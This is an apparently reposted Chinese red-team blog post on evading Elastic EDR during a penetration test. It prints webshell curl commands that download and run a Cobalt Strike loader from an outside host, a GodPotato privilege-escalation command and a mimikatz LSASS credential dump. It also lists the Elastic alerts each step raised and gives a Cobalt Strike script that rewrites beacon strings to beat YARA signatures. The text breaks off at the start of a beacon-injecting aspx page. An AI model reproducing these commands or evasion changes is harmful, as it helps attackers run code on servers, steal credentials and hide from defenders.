绕过Elastic EDR提高你的隐身能力
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
第1部分 在最近的一次评估中,我和我的队友的任务是对多个应用程序进行网络安全审查,如果有机会,还可以进行内部集群智慧云安服渗透测试。 在其中一个应用程序上,我们成功上传了一个执行Windows cmd的aspx webshell,这种参与并不要求我们保密。 这篇博文的目的是重现我们通过 Elastic EDR 监视我们所做的事情。 Web RCE 我们下载了CobaltStrike加载程序并执行它 curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:\Windows\Temp\load.exe'curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:\Windows\Temp\load.exe' 我们找回了信标 如果我们查看Elastic EDR中的警报,我们可以发现我们的噪音非常大。 Web Shell Detection: Script Process Child of Common Web Processes 因为IIS进程w3wp.exe产生了cmd.exe Malicious Behavior Detection Alert: Suspicious Microsoft IIS Worker Descendant 因为IIS进程的w3wp.exe产生cmd.exe表明Web服务器已被破坏 Remote File Download via PowerShell因为wgetPowershell 命令下载我们的加载程序 Memory Threat Detection Alert: Windows.Trojan.CobaltStrike 因为Elastic EDR Yara规则在内存中标记了我们的信标 Malicious Behavior Detection Alert: Network Module Loaded from Suspicious Unbacked Memory 由于我们的信标存储在无支持的内存中,Elastic EDR捕获了来自此可疑区域的API调用 我们利用的下一步是将我们的权限从本地服务帐户升级到本地管理员。 我们可以通过两种不同的方式来做到这一点: 滥用SeImpersonatePrivilege权限升级到SYSTEM(我们在参与过程中使用了这种方式)滥用KerberosS4U2Self为具有本地管理员权限的域用户生成服务票据 EoP - SeImpersonatePrivilege 我们使用GodPotato来利用SeImpersonatePrivilege beacon> execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\load.exe" 我们恢复了系统信标。 最后的操作引发了以下警报: Malicious Behavior Detection Alert: Microsoft Common Language Runtime Loaded from Suspicious Memory 因为CLR.dll已被利用后临时进程加载 Malicious Behavior Detection Alert: AMSI or WLDP Bypass via Memory Patching CobaltStrike AMSI 补丁已被标记 LSASS dump 获得系统权限后,我们启动内置的mimikatz命令来从LSASS转储凭据。 这引起了警报: LSASS Process Access via Windows API Memory Threat Detection Alert: Windows.Hacktool.Mimikatz LSASS Access Attempt from Unbacked Memory 结论 正如我们所看到的,在攻击路径的不同阶段有很多机会检测我们的行为: 执行webshell 通过execute- assembly执行.NET程序集 LSASS转储 在下一部分中,我将再次完成每个步骤,但要考虑到检测 第2部分 回顾 在一次交战中,我和我的队友通过上传Webshell破坏了Windows服务器,然后将我们的权限提升到SYSTEM并提取了存储在LSASS中的凭据。 第1部分中,我在实验室中重演了运行Elastic EDR代理的场景,我们注意到出现了很多检测。 第2部分中,我将展示如何通过使用开源工具和构建我们自己的工具来增强我们的隐形能力。 CobaltStrike修改 为了逃避Elastic EDR yara规则,我遵循了以下Fortra博客文章。 https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature 当您了解Yara规则时,很容易规避它们……可以在此处找到Elastic EDR规则。 https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar 我使用xforcered/BokuLoader(10 月以上版本)来增强Cobalt Strike信标的规避能力。此版本包含调用堆栈欺骗功能,可绕过基于调用堆栈分析的Elastic EDR规则,您可以在这里了解更多信息。 https://github.com/xforcered/BokuLoaderhttps://dtsec.us/2023-09-15-StackSpoofin/ 在Cobalt Strike中包含用户定义的反射加载器之后,我对进行了以下更改以bokuloader.cna绕过Elastic EDR yara规则: sub boku_strrep { local('$beacon_dll'); $beacon_dll = $1; $beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____"); $beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d"); $beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)"); $beacon_dll = strrep($beacon_dll, "beacon", "b4con5"); $beacon_dll = strrep($beacon_dll, "%s as %s\\%s: %d", "%s -> %s\\%s: %d"); $beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d"); $beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163"); println("DEBUG - change DOS stub"); $beacon_dll = strrep($beacon_dll, "\x4D\x5A\x41\x52\x55\x48\x89\xE5", "\x4D\x5A\x41\x52\x55\x48\x89\xE5\x90"); return $beacon_dll;} 此时,Elastic EDR 不应将 Cobalt Strike Reflective DLL 检测为Windows.Trojan.CobaltStrike. 但是,如果检测到恶意行为,Elastic EDR仍会发出警报: 从无支持的内存访问 LSASS 进程 从无支持的内存加载 DLL …… 现在我们有了一个更加隐蔽的信标,我们可以开始攻击Windows服务器了。 Webshell 由于目标是正确访问Windows计算机,因此我将尝试在不执行操作系统命令的情况下获取 CobaltStrike 信标。 为此,我制作了一个C#网页,它将Cobalt Strike信标注入当前IIS进程w3wp.exe <%@ Page Language="c#"%><%@ Import Namespace="System" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Threading.Tasks" %><%@ Import Namespace="System.Runtime.InteropServices" %><%@ Import Namespace="System.Collections.Generic" %><%@ Import Namespace="System.Linq" %><%@ Import Namespace="System.Text" %><%@ Import Namespace="System.Runtime.InteropServices" %>